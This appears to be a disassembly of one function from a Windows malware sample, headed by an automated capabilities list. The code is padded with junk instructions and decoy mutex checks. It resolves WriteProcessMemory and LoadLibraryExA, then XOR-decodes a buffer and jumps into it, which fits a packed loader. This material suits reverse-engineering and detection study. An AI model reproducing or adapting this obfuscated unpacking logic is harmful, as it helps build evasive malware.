Function at 0x403584
Capabilities:
Authenticate hmac
Check mutex on windows
Encode data using xor
Get thread local storage value
Parse pe header
Set environment variable

Disassembly:
and ah, 0xd0
sub eax, eax
xor esi, 0xffffffb9
adc dword [0x406704], eax
push str.jfpeuembgw
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x40363d
mov edx, dword [esp]
add edx, 0x71
adc edx, 0xffffffa4
mov ecx, dword [esp]
add ecx, edx
adc edx, dword [0x406694]
adc dword [0x40684f], ebx
push 0x40693b
call dword [sym.imp.kernel32.dll_GetSystemTime]
add dword [0x406775], edi
sub ebx, esi
sbb ebx, 0xffffffdc
add byte [0x40677a], bh
sub ebx, 0xfffffff9
add ebx, edi
jmp 0x40363d
and edi, 0x70
add dword [0x406798], edi
or ah, byte [0x406700]
xor dword [0x40678b], 0xc0
push str.ihfokennwye
push str.xhjsigcupckab
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
or dword [0x406818], esi
sub dword [0x4067b2], ebx
mov ecx, dword [esp]
add ecx, 0x7f
add edi, ecx
push str.ihfokennwye
push str.xhjsigcupckab
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc esi, dword [0x406817]
adc dword [0x406717], edi
sub edi, 0xffffff80
mov edx, dword [esp]
add edx, 0x3a
mov ecx, dword [esp]
add ecx, eax
sub edx, dword [0x406678]
jmp 0x403401
sub bh, 0x9a
mov ecx, dword [esp]
add ecx, esi
mov edx, dword [esp]
add edx, ecx
adc dl, byte [0x40681a]
sbb dword [0x40683c], edi
xor dword [0x406799], edx
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub ah, byte [0x406745]
sub al, byte [0x406731]
mov dword [0x406827], 0x5b
sbb edi, eax
sbb dword [0x4067cf], edi
xor eax, 0xffffffec
jmp 0x403e4a
mov dword [0x406706], 0xc9
sub dword [0x4066e6], eax
sbb edi, 0x74
add dword [0x406859], eax
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
mov edx, dword [esp]
add edx, 0x5b
xor dl, 0x4d
adc esi, dword [0x4066e4]
mov ecx, dword [esp]
adc ecx, dword [0x406688]
or dword [0x406777], eax
lea ecx, [0x4068ee]
push dword [ecx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
xor esi, esi
xor dword [0x4066f8], 0x40
sub eax, dword [0x406769]
sbb dword [0x406767], 0x84
jmp 0x403250
or dword [0x4066ca], 0x89
and dword [0x4067a4], 0xd
sbb byte [0x406731], bh
and dword [0x406786], 0x81
sbb bl, al
push str.ooakafhvrwhiso
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x4031b1
or dword [0x4067f0], 0x92
add edi, edi
add ebx, eax
adc ebx, 0xffffffa0
adc dword [0x406823], 0x27
jmp 0x403a52
mov ch, byte [esp]
add ch, 0x4f
xor dword [0x4067a0], ebx
adc ch, byte [0x4067e8]
sub byte [0x4066a6], 0x64
or dword [0x406802], 0xdf
mov edx, dword [esp]
add edx, 0x45
push 0x40693b
call dword [sym.imp.kernel32.dll_GetSystemTime]
add esi, 0xffffffc0
add ebx, esi
add dword [0x4067ff], edi
sbb dword [0x4066a0], edi
adc eax, dword [0x406860]
jmp 0x402999
xor esi, edi
sub dword [0x406826], edi
sub ah, byte [0x4067aa]
adc ah, byte [0x40668b]
and eax, 0xffffff89
or esi, 0x75
push str.cfsgkwsvnh
push 0x4069b9
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x403fa7
sub esi, dword [0x4066e8]
sbb ebx, edi
sub dword [0x406733], ebx
adc esi, dword [0x406712]
mov ch, byte [esp]
add ch, 0xeb
jmp 0x403eb9
or dword [0x406761], 0xce
add dword [0x406805], edi
mov cl, byte [esp]
add cl, 0x8b
sub ecx, 0xffffff85
sub dword [0x406805], ecx
mov ebx, dword [esp]
adc ebx, dword [0x40682a]
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x40291e
add esi, 0x1f
sbb dword [0x4067e1], edi
sub ebx, 0xffffff81
or dword [0x4066b6], ebx
jmp 0x40291e
add esi, esi
sbb dword [0x40681f], 0xaf
mov edx, dword [esp]
adc edx, dword [0x406861]
add dword [0x40682f], edi
adc ebx, dword [0x406764]
adc bl, byte [0x4066d8]
push 0xa
push 0x406982
push str.tnvrbmvygfxjrcvwg
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor dword [0x40675c], ebx
mov dword [0x406865], 0xbf
sub byte [0x4066b6], 0x89
xor edi, esi
jmp 0x403940
sub dword [0x4066c3], ebx
add esi, ebx
sbb edi, 6
adc bl, byte [0x4066fe]
mov ecx, dword [esp]
add ecx, ebx
push str.cfsgkwsvnh
push 0x4069b9
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x403401
mov edx, dword [esp]
add edx, 0xffffffa6
and edi, 0x6f
or al, 0xc
add dword [0x4066fe], esi
xor dword [0x406691], 0xeb
jmp 0x403401
add ebx, eax
adc edi, 0x3e
or edx, dword [0x40676c]
add dh, bh
push 7
xor dword [0x40678d], 0x16
sub esi, esi
or bh, byte [0x40679e]
sub dword [0x40677a], ebx
mov ecx, dword [esp]
add ecx, 0xfffffffb
push 0x3e8
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
add esi, 0xfffffffc
add byte [0x40670d], ah
adc dh, byte [0x4066fb]
add ebx, edx
sub edx, dword [0x4067dc]
dec dword [esp]
jne 0x402d8d
sbb dword [0x4066f7], 0xfa
sub byte [0x406865], 0xce
sbb edi, 0x1a
adc dword [0x406769], esi
and dword [0x406802], 0xd6
add esp, 4
mov byte [0x4068df], 0
adc bl, byte [0x406826]
adc al, byte [0x4066fb]
add edi, edi
add dword [0x4066b3], ebx
lea ecx, str.kernel32.DLL
adc edx, dword [0x40675c]
adc dword [0x4067e9], 0xf6
adc dword [0x4066a1], 0xf7
sbb edx, edx
sub eax, dword [0x40675b]
add edi, ebx
push ecx
sub cl, byte [0x40673c]
sbb dword [0x4067a2], 0xb6
adc eax, dword [0x4066be]
sub dword [0x4067b5], esi
adc edi, edx
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov dword [0x4068b5], eax
adc edi, edx
sbb dword [0x406713], 0xbd
or ebx, dword [0x4067f3]
add dword [0x4067cd], ebx
sbb ecx, edi
adc dword [0x4066e2], 0x1a
push str.HeapCreate
and dword [0x406816], ebx
sbb dword [0x4066fc], 0x63
adc edx, dword [0x4067be]
sub edi, 0xffffffeb
add ecx, edx
adc esi, dword [0x4066a2]
push eax
sub esi, dword [0x40674b]
add esi, esi
sub ecx, edx
or edi, dword [0x40676e]
push str.LoadLibraryExA
and edi, 0x4e
or dword [0x40667e], 0xe6
sub edi, dword [0x40682d]
adc esi, edi
add esi, 0xffffffcf
adc ebx, 0x42
push eax
and dword [0x406794], 0x22
or dword [0x40680b], 0x96
or byte [0x4066e2], bh
sub dword [0x40682d], ecx
adc ebx, ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
sbb dword [0x406836], 0x18
or dword [0x406822], edx
adc dword [0x4066e1], ecx
mov dword [0x406861], 0xab
mov dword [0x4068b1], eax
sbb edx, ebx
or ebx, dword [0x406786]
add dword [0x4067a5], ecx
add esi, ecx
adc ebx, dword [0x406854]
adc ebx, dword [0x406811]
push 0
push 0
push str.msjet40.DLL
sub byte [0x4066f5], 0xda
add edx, 4
or dword [0x406727], edi
sbb dword [0x4066db], 0xd2
add ebx, 0x18
call eax
adc ecx, dword [0x406752]
sub esi, 0xffffff90
adc ebx, dword [0x4066ec]
adc esi, dword [0x406758]
or dword [0x406830], 0x2e
sbb edi, edx
push eax
push 0xa
push 0x406982
push str.tnvrbmvygfxjrcvwg
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
pop eax
push eax
push 0xf
push 0x40692c
push str.hnlgrxdkmfzy
call dword [sym.imp.kernel32.dll_GetVolumePathNameA]
pop eax
push eax
push 0x40690f
push 0x406907
call dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
pop eax
push eax
mov dword [0x40667f], 0x50
add esi, 0xffffffa5
add dword [0x406851], ebx
mov cl, byte [esp]
add cl, 0x36
or bl, 0x93
add ecx, edi
pop ebx
adc esi, dword [0x406728]
xor ecx, ecx
adc dword [0x4067de], 0x39
sbb dword [0x406837], 0xf4
or dword [0x40680e], 0x6e
sbb dword [0x4066d0], ecx
add ebx, dword [ebx + 0x3c]
adc dword [0x40672a], 0x42
add ah, ch
sbb edi, 0xffffff89
sub dword [0x40683f], ecx
add ebx, 0xa0
adc dword [0x406732], 0x60
sub byte [0x4066e6], 0x58
adc dword [0x406710], 0x58
sbb dword [0x4066a0], esi
and dword [0x406707], ecx
push 0
push 8
push ebx
push 0x406880
push 0xffffffffffffffff
push str.WriteProcessMemory
push dword [0x4068b5]
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
adc dword [0x40677d], ecx
or dword [0x4067f0], esi
mov edx, dword [esp]
adc edx, dword [0x4066b3]
adc dword [0x406723], ecx
adc dh, 0x84
or dword [0x4066b1], 0x68
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x4068c4], eax
add edi, edx
add ecx, ecx
add eax, 0xfffffffc
sub dword [0x40683a], ecx
or dword [0x4066df], 0xdf
sbb dword [0x4066dd], esi
xor dword [0x4066fd], esi
add byte [0x4066df], dl
cmp word [0x406884], 0x1900
ja 0x403b01
and dword [0x4066c2], 0x4b
add eax, ecx
sub eax, 0x31
sub esi, 0x76
add dword [0x4068df], 0x403401
sbb dword [0x4066a2], ebx
and dword [0x406699], ecx
adc dword [0x406830], ecx
sub byte [0x4067e0], 0xf
sub byte [0x406823], dl
call dword [0x4068df]
sbb dword [0x40684e], 0
and dword [0x406858], 0x25
or eax, 0xffffffb3
adc esi, edx
add byte [0x4066a5], bl
sbb esi, edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
sbb eax, 0x406728
sbb dword [0x4066b6], 0x49
or dword [0x40677b], ebx
sub byte [0x4066d4], 0xfa
mov ecx, dword [esp]
adc ecx, dword [0x40668e]
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub byte [0x406828], 0xe
or dword [0x40675b], eax
adc ah, byte [0x40668a]
sbb ah, bh
push 0xa
push 0x406982
push str.tnvrbmvygfxjrcvwg
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add eax, 0x6a
and dword [0x406832], esi
or bh, byte [0x406836]
or dword [0x406854], 0xa9
jmp 0x40382e
mov edx, dword [esp]
add edx, esi
mov ecx, dword [esp]
add ecx, edx
add edx, edi
add ecx, 0xffffffce
push 0x40690f
push 0x406907
call dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
or esi, dword [0x406712]
sbb edi, esi
sub dword [0x40680a], ebx
adc ebx, 0x4f
push str.jfpeuembgw
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x40414c
or edi, dword [0x406695]
mov edx, dword [esp]
add edx, esi
sub edi, edx
and dword [0x40681e], edx
adc dword [0x4067ce], 0x87
add byte [0x4066c0], al
jmp 0x40414c
add dword [0x406736], eax
adc dword [0x4067b4], edi
sbb esi, 0x1d
adc edi, dword [0x406867]
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub esi, dword [0x406807]
adc dword [0x40676e], 0x84
adc dword [0x4066ec], 0xb9
add ebx, edi
sbb bl, 0x20
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x403401
mov edx, dword [esp]
add edx, ebx
mov dword [0x40675f], 0x2f
sbb edx, ebx
sub byte [0x406785], bh
sub dword [0x4066cc], esi
jmp 0x403401
adc edi, dword [0x4067a9]
add dword [0x4066a0], eax
adc esi, 0x5a
mov dl, byte [esp]
add dl, 0x3c
adc ebx, dword [0x4067b9]
sbb byte [0x406694], bh
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
add byte [0x4067ae], bl
adc dword [0x4067a5], 0x2d
and dword [0x406812], ebx
mov edx, dword [esp]
add edx, ebx
or dword [0x4067c7], 0xe3
sbb edx, esi
push str.ihfokennwye
push str.xhjsigcupckab
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sbb dword [0x4066f3], 0xc9
sbb ebx, edi
or dword [0x406850], esi
mov ecx, dword [esp]
add ecx, ebx
add dword [0x40667d], esi
add ecx, 0xffffffd0
jmp 0x40287d
adc esi, dword [0x406754]
sbb ebx, 0xffffffab
sub byte [0x406686], ah
mov edx, dword [esp]
add edx, ebx
sub esi, esi
adc byte [0x40673a], bl
push 0x40693b
call dword [sym.imp.kernel32.dll_GetSystemTime]
sbb eax, esi
mov ecx, dword [esp]
adc ecx, dword [0x4067d9]
xor ecx, 0xffffff8d
adc ecx, esi
sub edi, dword [0x4067d6]
jmp 0x4039d7
mov esp, ebp
pop ebp
ret
adc eax, dword [0x40670d]
mov edx, dword [esp]
add edx, edi
or edi, 0x58
sbb esi, eax
push 0x40690f
push 0x406907
call dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
mov ecx, dword [esp]
adc ecx, dword [0x406739]
mov dword [0x4067ab], 0xb7
xor dword [0x406831], 0x67
or ebx, dword [0x40683b]
push str.jfpeuembgw
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x402c83
mov dword [0x4066fe], 0xc1
mov ecx, dword [esp]
add ecx, eax
add eax, eax
or ecx, dword [0x406714]
jmp 0x402b81
sub byte [0x406845], 0xbf
mov ecx, dword [esp]
adc ecx, dword [0x406705]
sub byte [0x4066d4], 0x4a
add esi, 0xffffffb5
push str.cfsgkwsvnh
push 0x4069b9
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x403401
adc esi, dword [0x406687]
adc dword [0x406794], 0x4a
sub eax, 0xffffffdc
adc ah, 0x60
xor dword [0x406705], edi
mov ecx, dword [esp]
add ecx, esi
jmp 0x403401
push ebp
mov ebp, esp
sub esp, 0x50
mov edi, dword [esp]
adc edi, dword [0x4066dc]
sbb dword [0x406779], 0x1a
mov eax, dword [esp]
add eax, edi
mov esi, dword [esp]
add esi, eax
adc dword [0x4066d8], 0x9a
mov di, sp
sub di, 0xfdfc
jb 0x403401
or ah, byte [0x40672c]
or esi, 0x45
mov edx, dword [esp]
add edx, edi
adc edx, 0x29
and dword [0x4067f9], 0xf1
push str.jfpeuembgw
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x402c00
adc dword [0x406840], edi
add dword [0x4066ca], eax
adc eax, dword [0x406821]
sub esi, edi
mov ecx, dword [esp]
add ecx, 0x40
jmp 0x404060
or dword [0x406715], 0xf2
and dword [0x406798], 0xa2
add eax, 0xffffffe9
sub byte [0x406719], 0xdd
mov ecx, dword [esp]
add ecx, 0x20
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x403de3
sbb bl, bl
adc eax, dword [0x4067b2]
sub dword [0x406687], ebx
and dword [0x40673d], eax
adc dword [0x406774], 0xe5
mov cl, byte [esp]
add cl, 0x60
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub byte [0x406786], 0x37
and dword [0x40675b], 0xaf
sbb al, bh
mov ecx, dword [esp]
add ecx, 0xffffffa9
or cl, byte [0x4067a1]
or ah, byte [0x40684b]
jmp 0x403de3
adc edi, 0x24
mov ecx, dword [esp]
add ecx, 0x21
sbb esi, eax
adc esi, dword [0x406722]
lea edx, [0x4068ee]
push dword [edx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
xor esi, 0x6c
sbb dword [0x4067c9], esi
add ebx, esi
xor dword [0x406708], 0x84
adc esi, dword [0x40670d]
sub ebx, esi
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x402aa3
adc byte [0x4067d7], al
sub byte [0x406766], 0xc2
or ebx, dword [0x40684c]
adc ebx, dword [0x406724]
or dword [0x406686], 0xfc
adc edi, 0x45
jmp 0x402a30
or dword [0x4067b3], edi
sub byte [0x4067b4], 0x65
add dword [0x4066b2], eax
xor dword [0x4066b0], 0xf1
lea edx, [0x4069b5]
push dword [edx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
sub esi, dword [0x4067fa]
sbb dword [0x406684], 0x64
and dword [0x4066ab], ebx
adc ebx, eax
push str.vicenbpmfasok
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x402cf4
and dword [0x4067c9], 0x6f
or eax, dword [0x406710]
add dword [0x406718], edi
sub byte [0x40681a], 0xb5
add dword [0x4066fc], eax
jmp 0x402cf4
adc dword [0x40668e], eax
adc esi, eax
sbb ebx, esi
and dword [0x406812], 0xa
sbb esi, edi
push str.vikcqgtef
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x403d2a
sub byte [0x406844], 0xd4
xor dword [0x4067ba], 0xf3
adc ah, byte [0x40677b]
xor edi, ebx
adc eax, 0xc
push 0xf
push 0x40692c
push str.hnlgrxdkmfzy
call dword [sym.imp.kernel32.dll_GetVolumePathNameA]
or dword [0x406715], 0x46
add dword [0x40677c], esi
mov dl, byte [esp]
add dl, 0xec
add edi, eax
sub eax, 0xfffffff9
sub ebx, 0xfffffff2
jmp 0x403d2a
sbb dword [0x4067f6], edi
sub byte [0x40680a], ah
xor bh, bh
adc edi, dword [0x4067ba]
adc dword [0x406839], 0x5c
or eax, dword [0x4067eb]
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sbb dword [0x40670b], 0x31
sub esi, ebx
and dword [0x4067cc], eax
mov edx, dword [esp]
adc edx, dword [0x406839]
sbb dword [0x4066fb], 0x57
jmp 0x403401
xor dword [0x406797], eax
mov ecx, dword [esp]
adc ecx, dword [0x4067dc]
sbb dword [0x4067a4], ebx
add esi, eax
sub byte [0x4066a0], 0xfb
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x403394
xor edi, 0xffffffc3
mov ecx, dword [esp]
add ecx, ebx
sub esi, dword [0x4066e8]
add dword [0x406744], ecx
sub esi, 0x6b
mov edx, dword [esp]
add edx, eax
push str.vicenbpmfasok
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x403394
mov ecx, dword [esp]
add ecx, 0x25
xor eax, ecx
adc ecx, ecx
mov edx, dword [esp]
adc edx, dword [0x4067ae]
sub byte [0x406814], 0x30
add ebx, ebx
jmp 0x403405
mov edx, 0xce0
shl edx, 1
push edx
mov ecx, 0xce0
shl ecx, 1
push ecx
mov edx, 0x19c0
shl edx, 1
push edx
mov ecx, dword [0x4068c4]
call ecx
test eax, eax
je 0x403401
push section..data
pop edx
push 0xffffffffffffffff
pop ebx
and ebx, 0x670
sub ecx, ecx
sub ecx, eax
neg ecx
mov eax, 0x2354495e
push ecx
add esi, esi
adc esi, dword [0x406748]
sub byte [0x40677f], 0x85
adc esi, 0xfffffff5
sub edi, edi
dec edi
and edi, dword [edx]
mov dword [0x40684f], 0x9f
or dword [0x406737], 0x1b
adc esi, 0xd
sbb esi, 0xffffffb0
and dword [0x4067d1], esi
clc
adc edx, 4
adc esi, dword [0x40680f]
adc dword [0x406785], esi
add esi, esi
sub esi, esi
adc esi, esi
adc dword [0x4066a0], 0x3a
not edi
adc esi, dword [0x4067fb]
adc esi, dword [0x406684]
or esi, dword [0x4066ee]
or esi, dword [0x4066ff]
lea edi, [edi - 2]
add esi, 0xffffff86
adc esi, esi
adc esi, esi
add esi, esi
adc esi, dword [0x4066f8]
sub esi, esi
ror edi, 3
sbb dword [0x406836], esi
sbb dword [0x4067ae], 0xf3
and esi, 0x67
adc esi, dword [0x40680d]
ror edi, 5
xor esi, 0xfffffff1
add esi, esi
add esi, 0x6a
or dword [0x4066d3], esi
xor edi, eax
sbb esi, esi
adc dword [0x406770], 0x94
sbb esi, 0x1e
sub esi, esi
adc dword [0x4067d5], 0x21
clc
sbb edi, 1
mov dword [0x40670d], 0xb4
add dword [0x40683b], esi
sub dword [0x4067d4], esi
or esi, dword [0x4067db]
sub eax, eax
dec eax
and eax, edi
add esi, 0xffffffa2
adc esi, dword [0x40685a]
adc esi, dword [0x406702]
xor dword [0x4066bf], 0xbd
rol eax, 3
or esi, 0xffffffbb
adc dword [0x406809], 0x62
or dword [0x406838], esi
adc dword [0x4067d8], 0xbd
sbb esi, esi
add esi, esi
rol eax, 5
add dword [0x4066a5], esi
sub byte [0x40678f], 0xb0
adc esi, dword [0x4066e0]
or esi, 0xffffffd3
adc esi, esi
and dword [0x406860], esi
mov dword [ecx], edi
or dword [0x406731], esi
sub esi, esi
adc dword [0x4066de], 0x4f
add esi, esi
add esi, esi
or esi, 0xffffffa9
lea ecx, [ecx + 4]
or esi, dword [0x4066e7]
xor dword [0x406703], 0xd4
add esi, esi
xor dword [0x4067d9], 0xe5
adc esi, dword [0x406754]
adc esi, 0xffffff9d
sub ebx, 4
add dword [0x40682d], esi
and dword [0x406802], esi
adc esi, 0xffffffa1
sub dword [0x406730], esi
adc esi, dword [0x4067b8]
add esi, esi
test ebx, ebx
jne 0x403b44
pop ecx
mov eax, dword [0x4068b1]
push eax
sub eax, dword [0x406860]
adc edx, esi
sub dl, 0xe6
adc dl, 0x60
adc ebx, dword [0x4067fd]
push 0x403b01
sbb edx, edi
adc al, 0xe2
sub esi, edx
sbb edx, 0xffffffa4
jmp ecx
sbb dword [0x4067b6], 0xae
adc al, byte [0x4067fc]
adc ebx, eax
sbb dword [0x406679], eax
adc eax, ebx
adc eax, dword [0x40673e]
push str.cfsgkwsvnh
push 0x4069b9
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x403401
add dword [0x406675], edi
mov edx, dword [esp]
add edx, eax
mov ecx, dword [esp]
adc ecx, dword [0x406675]
add edx, 0xffffff85
xor ah, dh
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub edi, eax
mov ecx, dword [esp]
add ecx, eax
or byte [0x40675f], ch
or eax, 0xffffffb2
or dword [0x406695], 0x8a
jmp 0x403401
mov ecx, dword [esp]
add ecx, 0x6d
sub byte [0x4066a3], 0x93
and esi, 0x41
adc dword [0x406861], 0x64
adc dword [0x406820], 0x9d
push 0xf
push 0x40692c
push str.hnlgrxdkmfzy
call dword [sym.imp.kernel32.dll_GetVolumePathNameA]
mov edx, dword [esp]
add edx, eax
xor esi, 0xffffffaa
sbb edx, edx
add dword [0x40683f], ebx
adc dword [0x4067f9], 0x3a
jmp 0x403401
add dword [0x4066f9], ebx
mov edx, dword [esp]
adc edx, dword [0x406860]
and edx, 0xfffffff2
or ah, 0xc7
sub ebx, 0xffffffa0
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
cmp eax, 0
jne 0x403401
sub edi, dword [0x406687]
add bl, 0xd8
add dword [0x40677b], ebx
mov edx, dword [esp]
add edx, ebx
jmp 0x403401
add dword [0x4066d0], eax
sbb dword [0x4067b7], 0xdc
mov ecx, dword [esp]
adc ecx, dword [0x40676c]
or ecx, dword [0x4067e7]
sbb eax, ecx
adc eax, 0xffffff99
push str.vikcqgtef
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x402800
and edi, 0xffffffd3
or dword [0x406800], 0x87
sub esi, ebx
xor dword [0x4067b2], 0x8a
sub ebx, eax
jmp 0x402d63
sub ah, byte [0x406841]
adc al, byte [0x4066e9]
xor dword [0x40669d], eax
add esi, esi
sub dword [0x4067d6], ebx
sub ebx, dword [0x4066ef]
push 0xa
push 0x406982
push str.tnvrbmvygfxjrcvwg
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
mov ecx, dword [esp]
add ecx, esi
adc edi, eax
sub ecx, dword [0x4066ce]
or edi, 0x35
adc dword [0x4067b2], edi
jmp 0x4040e1
mov ecx, dword [esp]
add ecx, 0xffffffc5
mov edx, dword [esp]
add edx, 0xffffffad
xor dword [0x406681], 0xab
sub esi, ecx
adc ecx, dword [0x406709]
push str.yqjogsvjqo
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x4032ef
adc dword [0x406685], 0xbd
xor dword [0x406846], esi
sbb ebx, esi
xor dword [0x4066bf], eax
mov edx, dword [esp]
add edx, ebx
xor ebx, ebx
push str.vicenbpmfasok
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x4032ef
add dword [0x4066d4], edi
mov dword [0x406858], 0xef
mov ecx, dword [esp]
add ecx, 0xffffffb7
xor ecx, edi
jmp 0x4032ef
sub eax, dword [0x4067ac]
adc dword [0x4067a3], 0xeb
xor dword [0x40682d], 0x46
adc ebx, esi
push str.dhqvagctp
push str.milzplgwvuag
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor esi, 0xffffffa1
xor dword [0x406857], edi
sub eax, edi
and dword [0x406745], esi
push 0x40690f
push 0x406907
call dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
sub eax, dword [0x4067ea]
adc ebx, dword [0x40673b]
sbb dword [0x4067f3], 0x23
adc byte [0x40676f], ah
jmp 0x403f3a
mov ecx, dword [esp]
add ecx, ebx
sub ebx, dword [0x40673f]
or dword [0x4067a6], 0xbb
or dword [0x4066b7], eax
adc eax, dword [0x406722]
push 0xf
push 0x40692c
push str.hnlgrxdkmfzy
call dword [sym.imp.kernel32.dll_GetVolumePathNameA]
adc al, byte [0x406795]
or esi, 0x52
add eax, 0xfffffffb
mov dh, byte [esp]
add dh, bl
jmp 0x4036f8
and esi, 0xffffffa9
adc esi, dword [0x406718]
adc eax, dword [0x40684e]
sbb dword [0x4066c3], 0x4a
adc eax, 0xfffffff8
mov edx, dword [esp]
adc edx, dword [0x406765]
push str.vikcqgtef
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
test eax, eax
jne 0x403507
xor ebx, edi
sub edi, esi
adc dword [0x406784], 0x77
mov dword [0x406725], 0xfd
sub esi, dword [0x4067e0]
jmp 0x403507